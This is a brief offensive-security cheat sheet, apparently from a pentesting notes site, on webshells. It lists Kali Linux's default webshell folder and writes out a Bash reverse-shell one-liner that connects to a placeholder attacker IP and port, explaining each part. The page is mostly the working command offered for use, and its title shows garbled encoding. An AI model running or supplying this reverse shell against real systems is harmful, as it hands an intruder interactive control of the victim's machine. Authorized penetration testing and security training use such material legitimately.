πŸ“œWebShell Scroll

Kali Linux Default WebShell

ls -al /usr/share/webshells/

Bash Based

bash -i>&/dev/tcp/[attack-ip]/[1234] 0>&1
  • bash -i: Launches an interactive Bash shell.

  • >& /dev/tcp/[attack-ip]/[1234]: Redirects both the standard output (stdout) and standard error (stderr) to a TCP connection to the attacker's IP address ([attack-ip]) on port 1234. This essentially opens a network connection to the attacker's machine.

  • 0>&1: Redirects standard input (stdin) to the same network connection, allowing the attacker to send commands to the shell.

Last updated